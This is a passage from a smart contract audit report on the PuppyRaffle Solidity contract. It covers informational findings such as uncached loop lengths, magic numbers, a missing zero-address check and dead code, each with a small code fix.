Description: When `newPlayers` is empty, `msg.value == entranceFee * newPlayers.length` becomes `0 == 0`, so the call goes through without adding a player. The duplicate loop still runs over the existing players and the event is emitted with an empty array, all for a call that does nothing.

Impact: No security impact, the caller only wastes their own gas.

Recommended Mitigation: 1. Same fix as `Q-1`, reject calls that add no players so the loop and the event are skipped.

[I-6] Storage array length is read on every iteration in `PuppyRaffle::getActivePlayerIndex` function, caching it in memory saves gas

Description: The loop condition evaluates `players.length` on each iteration, which is a storage read every time. Copying the length into a local variable once removes all the repeated `SLOAD`s.

Impact: No security impact, only gas. It is a `view` function so callers pay nothing, but the same pattern sits in the hot path of `enterRaffle` and `selectWinner`.

Recommended Mitigation:

```
+        uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length; i++) {
+        for (uint256 i = 0; i < playersLength; i++) {
```

[I-7] Magic numbers for the prize and fee split in `PuppyRaffle::selectWinner` function, the 80/20 values should be named constants

Description: `prizePool` and `fee` are calculated with the hardcoded values `80`, `20` and `100`. Naming them makes the intended split explicit, and the two percentages must always add up to the denominator, which is easy to break silently.

Impact: No security impact, only readability and a higher chance of a typo going unnoticed in review.

Recommended Mitigation:

```
+    uint256 public constant PRIZE_PERCENTAGE = 80;
+    uint256 public constant FEE_PERCENTAGE = 20;
+    uint256 public constant PERCENTAGE_DENOMINATOR = 100;
...
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
+        uint256 prizePool = (totalAmountCollected * PRIZE_PERCENTAGE) /
PERCENTAGE_DENOMINATOR;
+        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
PERCENTAGE_DENOMINATOR;
```

[I-8] Missing zero address check in `PuppyRaffle::changeFeeAddress` function, the owner can accidentally send the fees to `address(0)`

Description: `changeFeeAddress` accepts any address, including `address(0)`. Since `withdrawFees` sends the whole fee balance to `feeAddress`, a zero address burns those funds for good.

Impact: All future fees can be lost through a single owner mistake.

Recommended Mitigation:

```
      function changeFeeAddress(address newFeeAddress) external onlyOwner {
+        require(newFeeAddress != address(0), "PuppyRaffle: Fee address cannot be
zero");
         feeAddress = newFeeAddress;
```

[I-9] Unused `_isActivePlayer` function in `PuppyRaffle` contract, dead code that only adds review surface

Description: `_isActivePlayer` is declared `internal` but is never called anywhere in the contract. Dead code still has to be reviewed and maintained, and it hides the fact that the membership check was never wired into `refund` or `selectWinner`.

Impact: No direct security impact, but it is unnecessary code that misleads future readers into thinking membership is enforced.

Recommended Mitigation: 1. Remove the function, since nothing calls it. 2. If it is meant to be used, wire it into the functions that need a membership check, and see `L-1` for the right way to implement it.

Gas

No gas findings.